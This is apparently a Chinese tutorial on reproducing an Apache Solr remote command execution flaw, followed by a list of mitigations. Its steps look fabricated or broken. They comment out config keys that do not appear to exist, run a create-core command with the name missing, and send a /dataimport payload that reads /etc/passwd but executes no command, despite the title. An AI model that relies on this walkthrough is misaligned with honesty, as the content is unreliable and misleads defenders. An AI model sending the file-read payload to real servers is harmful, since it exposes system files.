远程命令执行漏洞是一种常见的安全风险，Apache Solr也存在此类漏洞。下面将介绍如何进行Apache Solr远程命令执行的复现。

# 准备工作
在进行复现之前，需要准备以下工作：
1. 安装Java SE Development Kit（JDK）和Apache Solr。
2. 创建一个新的Solr核心。

# 配置Solr环境
要进行远程命令执行，需要关闭Solr的安全性检查。进入Solr的安装目录，在`bin/solr.in.sh`（Linux）或`bin\solr.in.cmd`（Windows）中进行配置，将以下行注释掉（通常位于文件的末尾）：
```
#DISABLE_OSSF=0
#DISABLE_AUTH=true
```
保存并关闭文件。

# 复现远程命令执行
1. 使用`solr start`命令启动Solr服务器。
2. 创建一个新的Solr核心。在终端中执行以下命令：
```
solr create_core -c
```
此处的``为你自己创建的核心的名称。
3. 向Solr中添加测试数据。创建名为`test`的collection，并添加一些测试数据，例如：
```
solr create_collection -c test
solr config -c test -p 8983 -action SET-property -property update.autoCreateFields -value false
curl -X POST -H 'Content-type:application/json' --data-binary '{
"add": {
"doc": {
"id": "1",
"title": "This is a test document"
}
}
}' http://localhost:8983/solr/test/update
curl http://localhost:8983/solr/test/update?commit=true
```
4. 执行远程命令。使用Solr的DataImportHandler功能，可以远程执行命令。通过发送一个POST请求，包含一个恶意的配置文件，以实现命令执行。在终端中执行以下命令：
```
curl -X POST -H 'Content-type:application/json' --data-binary '{
"update-query": "id:1",
"delete": {
"query": "*:*"
},
"update": {
"fq": "type:shell",
"stream.file": "file:///etc/passwd",
"stream.contentType": "application/octet-stream"
}
}' http://localhost:8983/solr/test/dataimport
```
上述命令中，将文件路径设置为`file:///etc/passwd`，这样Solr将读取并返回/etc/passwd文件的内容。

# 防范措施
为了避免Solr远程命令执行漏洞的利用，可以采取以下防范措施：
1. 及时升级：及时安装Solr的最新版本，以确保已修复可能存在的安全漏洞。
2. 网络隔离：将Solr服务器置于受信任的网络中，限制对其端口的访问。
3. 启用安全性：在Solr的配置文件中启用授权和身份验证，配置合适的访问控制规则，以确保只有授权用户能够访问和修改Solr。
4. 输入验证：对所有传入的请求进行输入验证和过滤，防止恶意代码注入。
5. 定期审计：定期查看Solr服务器的日志和访问记录，及时发现异常行为。

以上是关于Apache Solr远程命令执行的复现和防范措施的介绍。通过关闭Solr的安全性检查来复现此漏洞，但在实际使用中，为了保持系统的安全性，应该采取一系列的防范措施来避免此类漏洞的利用。